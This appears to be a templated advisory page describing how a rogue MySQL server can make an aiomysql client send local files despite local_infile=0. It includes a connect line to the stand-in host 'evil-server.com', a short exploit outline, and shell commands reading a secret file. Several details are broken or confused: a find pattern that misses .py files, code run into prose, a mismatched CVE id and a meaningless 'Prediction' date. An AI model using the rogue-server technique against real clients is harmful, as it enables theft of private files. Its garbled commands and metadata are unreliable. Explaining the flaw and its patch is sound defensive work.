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How the mentioned CVE works:
The vulnerability exploits the MySQL client-server protocol. A malicious MySQL server can bypass the client’s security settings. During the connection handshake, the client sends its capabilities, including `CLIENT_LOCAL_FILES` for file transfer. A rogue server can ignore the client’s `local_infile=0` setting. It responds to a client query with a `LOAD_LOCAL` command packet, instructing the client to send a specific file. The vulnerable client code does not re-check its local configuration upon receiving this server instruction and transmits the requested file contents, leading to unauthorized local file disclosure.
Platform: aiomysql
Version: Pre-b5e17ce
Vulnerability : File Read
Severity: Critical
date: 2019
Prediction: 2019-02
What Undercode Say:
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find / -name ".py" -type f -exec grep -l "aiomysql" {} \;
git clone https://github.com/aio-libs/aiomysql.git
cd aiomysql && git log --oneline --grep="CVE-2019-2503" --grep="LOAD_LOCAL" --grep="local_infile"
cat /tmp/my_secret_file.txt
Code snippet checking for the vulnerability import aiomysql conn = await aiomysql.connect(host='evil-server.com', local_infile=0) Even with local_infile=0, a rogue server can request files.
How Exploit:
1. Rogue server setup.
2. Client connects normally.
3. Server sends LOAD_LOCAL packet.
4. Client transmits file.
Protection from this CVE
Update aiomysql library.
Patch from PyMySQL.
Validate server identity.
Network segmentation.
Impact:
Arbitrary file read.
Sensitive data exposure.
Information disclosure.
System compromise.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
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